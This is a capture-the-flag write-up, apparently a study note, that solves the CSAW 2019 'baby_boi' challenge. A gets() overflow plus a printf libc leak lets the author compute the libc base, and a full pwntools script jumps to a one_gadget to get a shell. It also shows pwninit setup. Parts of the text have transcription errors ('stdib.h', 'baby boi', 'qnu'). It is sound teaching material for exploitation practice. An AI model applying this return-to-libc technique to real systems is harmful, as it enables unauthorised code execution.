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References: <a href="https://pwn.college/">https://guyinatuxedo.github.io/</a>

## Stack Buffer Overflows

Csaw 2019 Babyboi

• It is a **64-bit dynamically** linked binary, with a **Non-Executable** stack.

```
→ csaw19_babyboi file baby_boi
baby_boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter
/lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1ff55dce2efc89340b86a666bba5e7
ff2b37f62, not stripped
→ csaw19_babyboi checksec baby boi
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

- So we can see that the binary just prompts us for text.
- Looking at the source code, we see that it prints the *libc* address for *printf*. After that it calls *gets* on a fixed sized buffer, which gives us a **buffer overflow**. We can see that the libc version is *libc-2.27.so*.
- Also the only binary protection we see is **NX**.

```
→ csaw19_babyboi ./baby_boi
Hello!
Here I am: 0x7ff3a4b88e10
this is test
```

```
1 #include <stdio.h>
2 #include <stdib.h>
3
4 int main(int argc, char **argv[]) {
5    setvbuf(stdout, NULL, _IONBF, 0);
6    setvbuf(stdin, NULL, _IONBF, 0);
7    setvbuf(stderr, NULL, _IONBF, 0);
8
9    char buf[32];
10    printf("Hello!\n");
11    printf("Here I am: %p\n", printf);
12    gets(buf);
13 }
```

- So to exploit this, we will use the **buffer overflow**.
- We will call a **oneshot gadget**, which is a **single ROP** gadget in the **libc** that will call **execve("/bin/sh")** given the right conditions.
- We can find this using the **one\_gadget** utility.
  - <a href="https://github.com/david942j/one\_gadget">https://github.com/david942j/one\_gadget</a>
  - sudo gem install one\_gadget
- So leveraging the **libc infoleak** with the *printf* statement to the *libc printf* (and that we know which **libc version** it is), we know the **address space** of the libc.
- For which **onegadget** to pick, I typically just do trial and error to see what conditions will work. You can actually check when it is called to see what conditions will be met however.

```
csaw19_babyboi one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
    rsp & 0xf == 0
    rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
    [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
    [rsp+0x70] == NULL
```

• We can easily compute the **base** address of the **libc** subtracting the **printf** address (given by the program's output) from the **printf** symbol contained in the **libc-2.27.so**.

#### • Exploit:

```
from pwn import *
elf = ELF("./baby boi")
local = True
if local:
    p = elf.process()
   # ldd ./baby boi
    libc = ELF("/lib/x86 64-linux-qnu/libc.so.6")
else:
    pass
   # p = remote(host, port)
    # libc = ELF("./libc-2.27.so")
p.recvuntil("Here I am: ")
printf = int(p.recv().strip(), 16)
# elf.address of every elf is 0 at first.
libc.address = printf - libc.symbols["printf"]
print hex(libc.address)
```

```
if local:
    # oneshot = libc.address + 0xe6c7e
    oneshot = libc.address + 0xe6c81
    # oneshot = libc.address + 0xe6c84
else:
    # oneshot = libc.address + 0x4f2c5
    oneshot = libc.address + 0x4f322
    # oneshot = libc.address + 0x10a38c

payload = 'A' * 40 + p64(oneshot)

p.sendline(payload)
p.interactive()
```

#### · Note:

- We are given a specific **libc** file and we should use it in order to solve the problem.
- Sometimes you are able to use you system **libc** when exploiting locally.
- But sometimes you may face some errors:

```
→ pwninit_dir LD_PRELOAD="./libc-2.27.so" ./baby_boi
[1] 4223 segmentation fault (core dumped) LD_PRELOAD="./libc-2.27.so" ./baby_boi
```

- · This kind of errors usually are related to the linker!
- How to solve it?
  - There is useful tool called **pwninit**.
  - https://github.com/io12/pwninit
  - This tools gets the **binary** and its **libc** and gives you some files, containing a **linker** (ld-linux.so.\*) that can segfaultlessly load the provided **libc**.

• *pwninit* usage example:

```
pwninit_dir ls
baby boi \overline{libc-2.27.so}
  pwninit dir pwninit
bin: ./baby boi
libc: ./libc-2.27.so
fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6 2.27-3ubuntu1 amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg 2.27-3ubuntu1 amd64.deb
setting ./ld-2.27.so executable
 symlinking ./libc.so.6 -> libc-2.27.so
 copying ./baby boi to ./baby boi patched
running patchelf on ./baby boi patched
writing solve.py stub
  pwninit dir ls
baby boi baby boi patched ld-2.27.so libc-2.27.so libc.so.6 solve.py
```

Now run baby\_boi with specified loader and libc:

```
→ pwninit_dir LD_PRELOAD="./ld-2.27.so ./libc-2.27.so" ./baby_boi
Hello!
Here I am: 0x7f68a140ee80
ok
```